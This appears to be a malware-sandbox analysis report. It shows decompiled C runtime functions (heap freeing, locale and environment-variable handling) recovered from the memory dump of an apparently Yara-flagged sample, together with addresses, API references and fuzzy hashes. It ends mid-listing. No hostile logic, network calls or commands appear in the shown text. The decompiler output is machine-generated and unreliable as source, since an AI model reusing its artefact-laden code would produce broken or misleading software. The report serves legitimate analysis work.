COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004B3527(char _a4) {
				char _v8;

				_t26 = _a4;
				_t52 =  *_a4;
				if( *_a4 != 0x406610) {
					E004B2FCF(_t52);
					_t26 = _a4;
				}
				E004B2FCF( *((intOrPtr*)(_t26 + 0x3c)));
				E004B2FCF( *((intOrPtr*)(_a4 + 0x30)));
				E004B2FCF( *((intOrPtr*)(_a4 + 0x34)));
				E004B2FCF( *((intOrPtr*)(_a4 + 0x38)));
				E004B2FCF( *((intOrPtr*)(_a4 + 0x28)));
				E004B2FCF( *((intOrPtr*)(_a4 + 0x2c)));
				E004B2FCF( *((intOrPtr*)(_a4 + 0x40)));
				E004B2FCF( *((intOrPtr*)(_a4 + 0x44)));
				E004B2FCF( *((intOrPtr*)(_a4 + 0x360)));
				_v8 =  &_a4;
				E004B33ED(5,  &_v8);
				_v8 =  &_a4;
				return E004B343D(4,  &_v8);
			}

0x004b352d
0x004b3530
0x004b3538
0x004b353b
0x004b3540
0x004b3543
0x004b3547
0x004b3552
0x004b355d
0x004b3568
0x004b3573
0x004b357e
0x004b3589
0x004b3594
0x004b35a2
0x004b35aa
0x004b35b3
0x004b35bb
0x004b35cf

APIs

_free.LIBCMT ref: 004B353B

Part of subcall function 004B2FCF: RtlFreeHeap.NTDLL(00000000,00000000,?,004BD54B,?,00000000,?,00000000,?,004BD7EF,?,00000007,?,?,004BDBE3,?), ref: 004B2FE5

_free.LIBCMT ref: 004B3547
_free.LIBCMT ref: 004B3552
_free.LIBCMT ref: 004B355D
_free.LIBCMT ref: 004B3568
_free.LIBCMT ref: 004B3573
_free.LIBCMT ref: 004B357E
_free.LIBCMT ref: 004B3589
_free.LIBCMT ref: 004B3594
_free.LIBCMT ref: 004B35A2

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$FreeHeap
String ID:
API String ID: 2929853658-0
Opcode ID: d552b49bb115acebe265480194c3efac65798df868a2d2a4c9b8261561751842
Instruction ID: e988418e3e9fb48537df3c9a35a01565191db5c941df199364002db7ffe31753
Opcode Fuzzy Hash: d552b49bb115acebe265480194c3efac65798df868a2d2a4c9b8261561751842
Instruction Fuzzy Hash: 1011B975100108BFCB01FF56C942CED7BB6EF04354B4145ABF9084F666DA75DE50AB64

Uniqueness

Uniqueness Score: -1.00%

Function 00C62A0B, Relevance: 14.5, APIs: 1, Strings: 7, Instructions: 496COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 00C62DE8

Strings

:, xrefs: 00C62ACD
p, xrefs: 00C62B19
p, xrefs: 00C62B5F
f, xrefs: 00C62AF6
p, xrefs: 00C62AFD
f, xrefs: 00C62B58
f, xrefs: 00C62B12

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldvrm
String ID: :$f$f$f$p$p$p
API String ID: 1302938615-1434680307
Opcode ID: 3241630e93c4293255968f157116dd096b354b46983eef7b980fc0f3983c0be8
Instruction ID: 7de646907b58cecc806df2316ec4b0581bbb05c9dd6f8e0122b54e2a76b1d6bb
Opcode Fuzzy Hash: 3241630e93c4293255968f157116dd096b354b46983eef7b980fc0f3983c0be8
Instruction Fuzzy Hash: 6A02AE75A00A19EBDF308FA5D8C46EDB7B6FF00B14FA48116D425BB284D7748E8ACB15

Uniqueness

Uniqueness Score: -1.00%

Function 00C80953, Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 431COMMON

Download Yara Rule

APIs

_strpbrk.LIBCMT ref: 00C809A1
_free.LIBCMT ref: 00C80AED

Strings

*?, xrefs: 00C80996

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: _free_strpbrk
String ID: *?
API String ID: 3300345361-2564092906
Opcode ID: 437a33d4325b52beefc72b7dda6a7fb23bdc52dc694f6d8f2c415ac638f3fb53
Instruction ID: 6be1ab7e9384116d7a2b25934fd8b80b7b23be2d4efac6dcb733571292666749
Opcode Fuzzy Hash: 437a33d4325b52beefc72b7dda6a7fb23bdc52dc694f6d8f2c415ac638f3fb53
Instruction Fuzzy Hash: 90E15A75E002199FCB24DFA8C8819EEFBF5EF48314F24816AE815E7340E731AE459B94

Uniqueness

Uniqueness Score: -1.00%

Function 00C7FAA3, Relevance: 13.8, APIs: 9, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0401d6ee78e1be22e47a17adde838b350a796c15d1ca6613238864e971bff4e2
Instruction ID: 6647ec44bf3be056b8d3e50d8959265af9f215a012c29da717e062c86fb80ef8
Opcode Fuzzy Hash: 0401d6ee78e1be22e47a17adde838b350a796c15d1ca6613238864e971bff4e2
Instruction Fuzzy Hash: 48C107709042499FDF25DFA9D8C1BAE7BB4FF59310F14816DE928A7392C7709A42CB21

Uniqueness

Uniqueness Score: -1.00%

Function 00C844B0, Relevance: 13.7, APIs: 9, Instructions: 200COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00C8451E
_free.LIBCMT ref: 00C8452A
_free.LIBCMT ref: 00C84653
_free.LIBCMT ref: 00C8465E

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 4a30257f2b07c6fe8f77cf0cd231c0165c75589899205478e6515a82c19714c2
Instruction ID: fde9695b48f2ca7d7af66856fe3fc61aa51a64c105cd1253882afd6df300ad6b
Opcode Fuzzy Hash: 4a30257f2b07c6fe8f77cf0cd231c0165c75589899205478e6515a82c19714c2
Instruction Fuzzy Hash: FB61F671900306DFDB24EF64C881BAEB7F8EF45724F20455AF955EB281EB709E40AB50

Uniqueness

Uniqueness Score: -1.00%

Function 004B2885, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E004B2885(void* __ebx, void* __edi, void* __esi, intOrPtr _a4, signed int _a8, intOrPtr _a12) {
				signed int _v8;
				short _v270;
				short _v272;
				char _v528;
				char _v700;
				signed int _v704;
				signed int _v708;
				short _v710;
				signed int* _v712;
				signed int _v716;
				signed int _v720;
				signed int _v724;
				signed int* _v728;
				intOrPtr* _v732;
				signed int _v736;
				signed int _v740;
				signed int _v744;
				signed int _t149;
				void* _t156;
				signed int _t157;
				signed int _t158;
				intOrPtr _t159;
				intOrPtr* _t162;
				void* _t166;
				signed int _t167;
				intOrPtr _t169;
				signed int _t172;
				signed int _t173;
				void* _t175;
				void* _t195;
				signed int _t196;
				void* _t199;
				signed int _t204;
				signed int _t207;
				void* _t212;
				intOrPtr* _t213;
				intOrPtr* _t214;
				signed int _t225;
				signed int _t228;
				intOrPtr* _t229;
				signed int _t231;
				signed int* _t235;
				void* _t241;
				void* _t243;
				signed int _t244;
				intOrPtr _t246;
				signed int _t251;
				signed int _t253;
				signed int _t257;
				signed int* _t258;
				intOrPtr* _t259;
				short _t260;
				signed int _t262;
				signed int _t264;
				void* _t266;
				void* _t268;

				_t262 = _t264;
				_t149 =  *0x4eb018; // 0xa679d9c
				_v8 = _t149 ^ _t262;
				_push(__ebx);
				_t207 = _a8;
				_push(__esi);
				_push(__edi);
				_t246 = _a4;
				_v744 = _t207;
				_v728 = E004B361B(_t207, _t212, _t241) + 0x278;
				_push( &_v708);
				_t156 = E004B1FCF(_t207, _t241, _t246, _a12, _a12,  &_v272, 0x83,  &_v700, 0x55);
				_t266 = _t264 - 0x2e4 + 0x18;
				if(_t156 != 0) {
					_t11 = _t207 + 2; // 0x8
					_t251 = _t11 << 4;
					_t157 =  &_v272;
					_v716 = _t251;
					_t213 =  *((intOrPtr*)(_t251 + _t246));
					while(1) {
						_v704 = _v704 & 0x00000000;
						_t253 = _v716;
						if( *_t157 !=  *_t213) {
							break;
						}
						if( *_t157 == 0) {
							L8:
							_t158 = _v704;
						} else {
							_t260 =  *((intOrPtr*)(_t157 + 2));
							_v710 = _t260;
							_t253 = _v716;
							if(_t260 !=  *((intOrPtr*)(_t213 + 2))) {
								break;
							} else {
								_t157 = _t157 + 4;
								_t213 = _t213 + 4;
								if(_v710 != 0) {
									continue;
								} else {
									goto L8;
								}
							}
						}
						L10:
						if(_t158 != 0) {
							_t214 =  &_v272;
							_t243 = _t214 + 2;
							do {
								_t159 =  *_t214;
								_t214 = _t214 + 2;
							} while (_t159 != _v704);
							_v720 = (_t214 - _t243 >> 1) + 1;
							_t162 = E004B3009(_t214 - _t243 >> 1, 4 + ((_t214 - _t243 >> 1) + 1) * 2);
							_v732 = _t162;
							if(_t162 == 0) {
								goto L1;
							} else {
								_v724 =  *((intOrPtr*)(_t253 + _t246));
								_t35 = _t207 * 4; // 0xbf9d
								_v736 =  *((intOrPtr*)(_t246 + _t35 + 0xa0));
								_t38 = _t246 + 8; // 0x8b56ff8b
								_v740 =  *_t38;
								_t223 =  &_v272;
								_v712 = _t162 + 4;
								_t166 = E004ADE87(_t162 + 4, _v720,  &_v272);
								_t268 = _t266 + 0xc;
								if(_t166 != 0) {
									_t167 = _v704;
									_push(_t167);
									_push(_t167);
									_push(_t167);
									_push(_t167);
									_push(_t167);
									E004A5EA4(_t167);
									asm("int3");
									_t169 =  *0x4ee700; // 0x0
									return _t169;
								} else {
									 *((intOrPtr*)(_t253 + _t246)) = _v712;
									if(_v272 != 0x43 || _v270 != 0) {
										_t172 = E004B1CDC(_t207, _t223, _t246,  &_v700);
										_t225 = _v704;
										 *(_t246 + 0xa0 + _t207 * 4) = _t172;
									} else {
										_t225 = _v704;
										 *(_t246 + 0xa0 + _t207 * 4) = _t225;
									}
									if(_t207 != 2) {
										if(_t207 != 1) {
											if(_t207 == 5) {
												 *((intOrPtr*)(_t246 + 0x14)) = _v708;
											}
										} else {
											 *((intOrPtr*)(_t246 + 0x10)) = _v708;
										}
									} else {
										_t258 = _v728;
										_t244 = _t225;
										_t235 = _t258;
										 *(_t246 + 8) = _v708;
										_v712 = _t258;
										_v720 = _t258[8];
										_v708 = _t258[9];
										while(1) {
											_t64 = _t246 + 8; // 0x8b56ff8b
											if( *_t64 ==  *_t235) {
												break;
											}
											_t259 = _v712;
											_t244 = _t244 + 1;
											_t204 =  *_t235;
											 *_t259 = _v720;
											_v708 = _t235[1];
											_t235 = _t259 + 8;
											 *((intOrPtr*)(_t259 + 4)) = _v708;
											_t207 = _v744;
											_t258 = _v728;
											_v720 = _t204;
											_v712 = _t235;
											if(_t244 < 5) {
												continue;
											} else {
											}
											L27:
											if(_t244 == 5) {
												_t88 = _t246 + 8; // 0x8b56ff8b
												_t195 = E004BAE04(_t207, _t246, _t258, _v704, 1, 0x406818, 0x7f,  &_v528,  *_t88, 1);
												_t268 = _t268 + 0x1c;
												_t196 = _v704;
												if(_t195 == 0) {
													_t258[1] = _t196;
												} else {
													do {
														 *(_t262 + _t196 * 2 - 0x20c) =  *(_t262 + _t196 * 2 - 0x20c) & 0x000001ff;
														_t196 = _t196 + 1;
													} while (_t196 < 0x7f);
													_t199 = E0049FC6A( &_v528,  *0x4eb1bc, 0xfe);
													_t268 = _t268 + 0xc;
													_t258[1] = 0 | _t199 == 0x00000000;
												}
												_t103 = _t246 + 8; // 0x8b56ff8b
												 *_t258 =  *_t103;
											}
											 *(_t246 + 0x18) = _t258[1];
											goto L38;
										}
										if(_t244 != 0) {
											 *_t258 =  *(_t258 + _t244 * 8);
											_t258[1] =  *(_t258 + 4 + _t244 * 8);
											 *(_t258 + _t244 * 8) = _v720;
											 *(_t258 + 4 + _t244 * 8) = _v708;
										}
										goto L27;
									}
									L38:
									_t173 = _t207 * 0xc;
									_t110 = _t173 + 0x406758; // 0x42dfbc
									 *0x4f02b4(_t246);
									_t175 =  *((intOrPtr*)( *_t110))();
									_t228 = _v724;
									if(_t175 == 0) {
										if(_t228 != 0x4eb288) {
											_t257 = _t207 + _t207;
											asm("lock xadd [eax], ecx");
											if(_t257 != 0) {
												goto L43;
											} else {
												_t128 = _t257 * 8; // 0x30ff068b
												E004B2FCF( *((intOrPtr*)(_t246 + _t128 + 0x28)));
												_t131 = _t257 * 8; // 0x30ff0c46
												E004B2FCF( *((intOrPtr*)(_t246 + _t131 + 0x24)));
												_t134 = _t207 * 4; // 0xbf9d
												E004B2FCF( *((intOrPtr*)(_t246 + _t134 + 0xa0)));
												_t231 = _v704;
												 *((intOrPtr*)(_v716 + _t246)) = _t231;
												 *(_t246 + 0xa0 + _t207 * 4) = _t231;
											}
										}
										_t229 = _v732;
										 *_t229 = 1;
										 *((intOrPtr*)(_t246 + 0x28 + (_t207 + _t207) * 8)) = _t229;
									} else {
										 *(_v716 + _t246) = _t228;
										_t115 = _t207 * 4; // 0xbf9d
										E004B2FCF( *((intOrPtr*)(_t246 + _t115 + 0xa0)));
										 *(_t246 + 0xa0 + _t207 * 4) = _v736;
										E004B2FCF(_v732);
										 *(_t246 + 8) = _v740;
										goto L1;
									}
									goto L2;
								}
							}
						} else {
							goto L2;
						}
						goto L47;
					}
					asm("sbb eax, eax");
					_t158 = _t157 | 0x00000001;
					goto L10;
				} else {
					L1:
					L2:
					return E0049CE1D(_v8 ^ _t262);
				}
				L47:
			}

0x004b2888
0x004b2890
0x004b2897
0x004b289a
0x004b289b
0x004b289e
0x004b28a2
0x004b28a3
0x004b28a6
0x004b28b6
0x004b28c2
0x004b28d9
0x004b28de
0x004b28e3
0x004b28f8
0x004b28fb
0x004b28fe
0x004b2904
0x004b290d
0x004b290f
0x004b2912
0x004b291c
0x004b2922
0x00000000
0x00000000
0x004b2928
0x004b2951
0x004b2951
0x004b292a
0x004b292a
0x004b2932
0x004b2939
0x004b293f
0x00000000
0x004b2941
0x004b2941
0x004b2944
0x004b294f
0x00000000
0x00000000
0x00000000
0x00000000
0x004b294f
0x004b293f
0x004b295e
0x004b2960
0x004b2966
0x004b296c
0x004b296f
0x004b296f
0x004b2972
0x004b2975
0x004b2985
0x004b2993
0x004b2998
0x004b29a1
0x00000000
0x004b29a7
0x004b29ad
0x004b29b3
0x004b29ba
0x004b29c0
0x004b29c3
0x004b29c9
0x004b29d6
0x004b29dd
0x004b29e2
0x004b29e7
0x004b2c40
0x004b2c46
0x004b2c47
0x004b2c48
0x004b2c49
0x004b2c4a
0x004b2c4b
0x004b2c50
0x004b2c51
0x004b2c56
0x004b29ed
0x004b29fb
0x004b29fe
0x004b2a20
0x004b2a26
0x004b2a2c
0x004b2a0a
0x004b2a0a
0x004b2a10
0x004b2a10
0x004b2a36
0x004b2b56
0x004b2b66
0x004b2b6e
0x004b2b6e
0x004b2b58
0x004b2b5e
0x004b2b5e
0x004b2a3c
0x004b2a3c
0x004b2a42
0x004b2a4a
0x004b2a4c
0x004b2a4f
0x004b2a58
0x004b2a61
0x004b2a67
0x004b2a67
0x004b2a6c
0x00000000
0x00000000
0x004b2a6e
0x004b2a74
0x004b2a75
0x004b2a80
0x004b2a88
0x004b2a90
0x004b2a93
0x004b2a96
0x004b2a9c
0x004b2aa2
0x004b2aa8
0x004b2ab1
0x00000000
0x00000000
0x004b2ab3
0x004b2ad8
0x004b2adb
0x004b2adf
0x004b2af8
0x004b2afd
0x004b2b02
0x004b2b08
0x004b2b43
0x004b2b0a
0x004b2b0a
0x004b2b0f
0x004b2b17
0x004b2b18
0x004b2b2f
0x004b2b36
0x004b2b3e
0x004b2b3e
0x004b2b46
0x004b2b49
0x004b2b49
0x004b2b4e
0x00000000
0x004b2b4e
0x004b2ab7
0x004b2abc
0x004b2ac2
0x004b2acb
0x004b2ad4
0x004b2ad4
0x00000000
0x004b2ab7
0x004b2b71
0x004b2b71
0x004b2b75
0x004b2b7d
0x004b2b83
0x004b2b86
0x004b2b8e
0x004b2bd4
0x004b2bdb
0x004b2be1
0x004b2be5
0x00000000
0x004b2be7
0x004b2be7
0x004b2beb
0x004b2bf0
0x004b2bf4
0x004b2bf9
0x004b2c00
0x004b2c0e
0x004b2c14
0x004b2c17
0x004b2c17
0x004b2be5
0x004b2c26
0x004b2c2e
0x004b2c37
0x004b2b90
0x004b2b96
0x004b2b99
0x004b2ba0
0x004b2bb2
0x004b2bb9
0x004b2bc6
0x00000000
0x004b2bc6
0x00000000
0x004b2b8e
0x004b29e7
0x004b2962
0x00000000
0x004b2962
0x00000000
0x004b2960
0x004b2959
0x004b295b
0x00000000
0x004b28e5
0x004b28e5
0x004b28e7
0x004b28f7
0x004b28f7
0x00000000

APIs

Part of subcall function 004B361B: _free.LIBCMT ref: 004B3652

_memcmp.LIBVCRUNTIME ref: 004B2B2F
_free.LIBCMT ref: 004B2BA0
_free.LIBCMT ref: 004B2BB9
_free.LIBCMT ref: 004B2BEB
_free.LIBCMT ref: 004B2BF4
_free.LIBCMT ref: 004B2C00

Strings

C, xrefs: 004B29ED

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$_memcmp
String ID: C
API String ID: 789029625-1037565863
Opcode ID: ffe99c5f0e32d20ec8462e4ce7ce940dd636dfd0f490fe2bbf7c2a55b950f009
Instruction ID: 1dbb4ecf0784a2d49935978fcbc54ed0954668edfbddf53bd29e5c59fea9c168
Opcode Fuzzy Hash: ffe99c5f0e32d20ec8462e4ce7ce940dd636dfd0f490fe2bbf7c2a55b950f009
Instruction Fuzzy Hash: 17B12875A0121A9FDB24DF19C984AEEB7B4FF08304F1045AEE909A7350DB75AE90CF64

Uniqueness

Uniqueness Score: -1.00%

Function 004BC505, Relevance: 12.2, APIs: 8, Instructions: 209
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004BC505(signed int _a4, signed int _a8) {
				intOrPtr _v0;
				intOrPtr _v4;
				signed char _v5;
				signed int _v12;
				signed int _v16;
				signed int _v44;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				signed int _t64;
				signed int _t65;
				signed int _t68;
				signed int _t69;
				signed int _t73;
				signed int* _t75;
				signed int _t82;
				signed int _t84;
				signed int _t86;
				signed int _t87;
				signed int _t91;
				signed int _t98;
				intOrPtr* _t99;
				signed int _t108;
				signed int _t109;
				signed int _t111;
				signed int _t112;
				intOrPtr _t115;
				void* _t119;
				signed int _t121;
				void* _t124;
				signed int _t125;
				signed int _t126;
				void* _t131;
				intOrPtr* _t135;
				signed int _t139;
				signed int _t141;
				void* _t142;
				void* _t143;
				signed int _t144;
				signed int _t146;
				signed int* _t147;
				signed int _t152;
				signed int _t153;
				signed int _t154;
				signed int _t155;
				signed int* _t156;
				signed int _t157;
				signed int _t159;
				void* _t164;
				void* _t166;
				void* _t167;

				_t111 = _a4;
				if(_t111 != 0) {
					_t144 = _t111;
					_t58 = E004C4160(_t111, 0x3d);
					_v16 = _t58;
					_t119 = _t143;
					__eflags = _t58;
					if(_t58 == 0) {
						L10:
						 *((intOrPtr*)(E004A966E())) = 0x16;
						goto L11;
					} else {
						__eflags = _t58 - _t111;
						if(_t58 == _t111) {
							goto L10;
						} else {
							__eflags =  *((char*)(_t58 + 1));
							_t152 =  *0x4ee6c8; // 0x3093f18
							_t62 = _t58 & 0xffffff00 |  *((char*)(_t58 + 1)) == 0x00000000;
							_v5 = _t62;
							__eflags = _t152 -  *0x4ee6d4; // 0x3093f18
							if(__eflags == 0) {
								L44();
								_t152 = _t62;
								_t62 = _v5;
								_t119 = _t152;
								 *0x4ee6c8 = _t152;
							}
							_t112 = 0;
							__eflags = _t152;
							if(_t152 != 0) {
								L21:
								_t121 = _t144;
								_t64 = _v16 - _t121;
								_push(_t64);
								_push(_t121);
								L61();
								_v12 = _t64;
								__eflags = _t64;
								if(_t64 < 0) {
									L29:
									__eflags = _v5 - _t112;
									if(_v5 != _t112) {
										goto L12;
									} else {
										_t65 =  ~_t64;
										_v12 = _t65;
										_t27 = _t65 + 2; // 0x2
										_t124 = _t27;
										__eflags = _t124 - _t65;
										if(_t124 < _t65) {
											goto L11;
										} else {
											__eflags = _t124 - 0x3fffffff;
											if(_t124 >= 0x3fffffff) {
												goto L11;
											} else {
												_push(4);
												_push(_t124);
												_t153 = E004B2CEB(_t152);
												E004B2FCF(_t112);
												_t166 = _t166 + 0x10;
												__eflags = _t153;
												if(_t153 == 0) {
													goto L11;
												} else {
													_t125 = _v12;
													_t144 = _t112;
													_t68 = _a4;
													 *(_t153 + _t125 * 4) = _t68;
													 *(_t153 + 4 + _t125 * 4) = _t112;
													goto L34;
												}
											}
										}
									}
								} else {
									__eflags =  *_t152 - _t112;
									if( *_t152 == _t112) {
										goto L29;
									} else {
										E004B2FCF( *((intOrPtr*)(_t152 + _t64 * 4)));
										_t141 = _v12;
										__eflags = _v5 - _t112;
										if(_v5 != _t112) {
											while(1) {
												__eflags =  *(_t152 + _t141 * 4) - _t112;
												if( *(_t152 + _t141 * 4) == _t112) {
													break;
												}
												 *(_t152 + _t141 * 4) =  *(_t152 + 4 + _t141 * 4);
												_t141 = _t141 + 1;
												__eflags = _t141;
											}
											_push(4);
											_push(_t141);
											_t153 = E004B2CEB(_t152);
											E004B2FCF(_t112);
											_t166 = _t166 + 0x10;
											_t68 = _t144;
											__eflags = _t153;
											if(_t153 != 0) {
												L34:
												 *0x4ee6c8 = _t153;
											}
										} else {
											_t68 = _a4;
											_t144 = _t112;
											 *(_t152 + _t141 * 4) = _t68;
										}
										__eflags = _a8 - _t112;
										if(_a8 == _t112) {
											goto L12;
										} else {
											_t126 = _t68;
											_t142 = _t126 + 1;
											do {
												_t69 =  *_t126;
												_t126 = _t126 + 1;
												__eflags = _t69;
											} while (_t69 != 0);
											_v12 = _t126 - _t142 + 2;
											_t154 = E004B2F72(_t126 - _t142, _t126 - _t142 + 2, 1);
											_pop(_t129);
											__eflags = _t154;
											if(_t154 == 0) {
												L42:
												E004B2FCF(_t154);
												goto L12;
											} else {
												_t73 = E004AD3A2(_t154, _v12, _a4);
												_t167 = _t166 + 0xc;
												__eflags = _t73;
												if(_t73 != 0) {
													_push(_t112);
													_push(_t112);
													_push(_t112);
													_push(_t112);
													_push(_t112);
													E004A5EA4(_t73);
													asm("int3");
													_t164 = _t167;
													_push(_t144);
													_t146 = _v44;
													__eflags = _t146;
													if(_t146 != 0) {
														_t131 = 0;
														_t75 = _t146;
														__eflags =  *_t146;
														if( *_t146 != 0) {
															do {
																_t75 =  &(_t75[1]);
																_t131 = _t131 + 1;
																__eflags =  *_t75;
															} while ( *_t75 != 0);
														}
														_push(_t154);
														_t47 = _t131 + 1; // 0x2
														_t155 = E004B2F72(_t131, _t47, 4);
														__eflags = _t155;
														if(_t155 == 0) {
															L59:
															E004AEA83(_t112, _t142, _t146, _t155);
															goto L60;
														} else {
															__eflags =  *_t146;
															if( *_t146 == 0) {
																L57:
																E004B2FCF(0);
																_t86 = _t155;
																goto L58;
															} else {
																_push(_t112);
																_t112 = _t155 - _t146;
																__eflags = _t112;
																do {
																	_t135 =  *_t146;
																	_t48 = _t135 + 1; // 0x5
																	_t142 = _t48;
																	do {
																		_t87 =  *_t135;
																		_t135 = _t135 + 1;
																		__eflags = _t87;
																	} while (_t87 != 0);
																	_t49 = _t135 - _t142 + 1; // 0x6
																	_v12 = _t49;
																	 *(_t112 + _t146) = E004B2F72(_t135 - _t142, _t49, 1);
																	E004B2FCF(0);
																	_t167 = _t167 + 0xc;
																	__eflags =  *(_t112 + _t146);
																	if( *(_t112 + _t146) == 0) {
																		goto L59;
																	} else {
																		_t91 = E004AD3A2( *(_t112 + _t146), _v12,  *_t146);
																		_t167 = _t167 + 0xc;
																		__eflags = _t91;
																		if(_t91 != 0) {
																			L60:
																			_push(0);
																			_push(0);
																			_push(0);
																			_push(0);
																			_push(0);
																			E004A5EA4(0);
																			asm("int3");
																			_push(_t164);
																			_push(_t112);
																			_push(_t155);
																			_push(_t146);
																			_t147 =  *0x4ee6c8; // 0x3093f18
																			_t156 = _t147;
																			__eflags =  *_t147;
																			if( *_t147 == 0) {
																				L67:
																				_t157 = _t156 - _t147;
																				__eflags = _t157;
																				_t159 =  ~(_t157 >> 2);
																			} else {
																				_t115 = _v0;
																				do {
																					_t82 = E004B909A(_v4,  *_t156, _t115);
																					_t167 = _t167 + 0xc;
																					__eflags = _t82;
																					if(_t82 != 0) {
																						goto L66;
																					} else {
																						_t84 =  *((intOrPtr*)(_t115 +  *_t156));
																						__eflags = _t84 - 0x3d;
																						if(_t84 == 0x3d) {
																							L69:
																							_t159 = _t156 - _t147 >> 2;
																						} else {
																							__eflags = _t84;
																							if(_t84 == 0) {
																								goto L69;
																							} else {
																								goto L66;
																							}
																						}
																					}
																					goto L68;
																					L66:
																					_t156 =  &(_t156[1]);
																					__eflags =  *_t156;
																				} while ( *_t156 != 0);
																				goto L67;
																			}
																			L68:
																			return _t159;
																		} else {
																			goto L55;
																		}
																	}
																	goto L70;
																	L55:
																	_t146 = _t146 + 4;
																	__eflags =  *_t146 - _t91;
																} while ( *_t146 != _t91);
																goto L57;
															}
														}
													} else {
														_t86 = 0;
														L58:
														return _t86;
													}
												} else {
													_t139 = _v16 + 1 + _t154 - _a4;
													asm("sbb eax, eax");
													 *(_t139 - 1) = _t112;
													_t98 =  *0x4f0244(_t154,  !( ~(_v5 & 0x000000ff)) & _t139);
													__eflags = _t98;
													if(_t98 == 0) {
														_t99 = E004A966E();
														_t112 = _t112 | 0xffffffff;
														__eflags = _t112;
														 *_t99 = 0x2a;
													}
													goto L42;
												}
											}
										}
									}
								}
							} else {
								__eflags = _a8;
								if(_a8 == 0) {
									L14:
									__eflags = _t62;
									if(_t62 == 0) {
										 *0x4ee6c8 = E004B2F72(_t119, 1, 4);
										E004B2FCF(_t112);
										_t152 =  *0x4ee6c8; // 0x3093f18
										_t166 = _t166 + 0xc;
										__eflags = _t152;
										if(_t152 == 0) {
											goto L11;
										} else {
											__eflags =  *0x4ee6cc - _t112; // 0x0
											if(__eflags != 0) {
												goto L20;
											} else {
												 *0x4ee6cc = E004B2F72(_t119, 1, 4);
												E004B2FCF(_t112);
												_t166 = _t166 + 0xc;
												__eflags =  *0x4ee6cc - _t112; // 0x0
												if(__eflags == 0) {
													goto L11;
												} else {
													goto L19;
												}
											}
										}
									} else {
										_t112 = 0;
										goto L12;
									}
								} else {
									__eflags =  *0x4ee6cc - _t112; // 0x0
									if(__eflags == 0) {
										goto L14;
									} else {
										_t108 = L004B12D1(0);
										__eflags = _t108;
										if(_t108 != 0) {
											L19:
											_t152 =  *0x4ee6c8; // 0x3093f18
											L20:
											__eflags = _t152;
											if(_t152 == 0) {
												L11:
												_t112 = _t111 | 0xffffffff;
												__eflags = _t112;
												L12:
												E004B2FCF(_t144);
												_t61 = _t112;
												goto L13;
											} else {
												goto L21;
											}
										} else {
											goto L10;
										}
									}
								}
							}
						}
					}
				} else {
					_t109 = E004A966E();
					 *_t109 = 0x16;
					_t61 = _t109 | 0xffffffff;
					L13:
					return _t61;
				}
				L70:
			}

0x004bc50e
0x004bc513
0x004bc52a
0x004bc52c
0x004bc531
0x004bc535
0x004bc536
0x004bc538
0x004bc588
0x004bc58d
0x00000000
0x004bc53a
0x004bc53a
0x004bc53c
0x00000000
0x004bc53e
0x004bc53e
0x004bc542
0x004bc548
0x004bc54b
0x004bc54e
0x004bc554
0x004bc557
0x004bc55c
0x004bc55e
0x004bc561
0x004bc562
0x004bc562
0x004bc568
0x004bc56a
0x004bc56c
0x004bc600
0x004bc603
0x004bc605
0x004bc607
0x004bc608
0x004bc609
0x004bc60e
0x004bc613
0x004bc615
0x004bc65f
0x004bc65f
0x004bc662
0x00000000
0x004bc668
0x004bc668
0x004bc66a
0x004bc66d
0x004bc66d
0x004bc670
0x004bc672
0x00000000
0x004bc678
0x004bc678
0x004bc67e
0x00000000
0x004bc684
0x004bc684
0x004bc686
0x004bc68e
0x004bc690
0x004bc695
0x004bc698
0x004bc69a
0x00000000
0x004bc6a0
0x004bc6a0
0x004bc6a3
0x004bc6a5
0x004bc6a8
0x004bc6ab
0x00000000
0x004bc6ab
0x004bc69a
0x004bc67e
0x004bc672
0x004bc617
0x004bc617
0x004bc619
0x00000000
0x004bc61b
0x004bc61e
0x004bc624
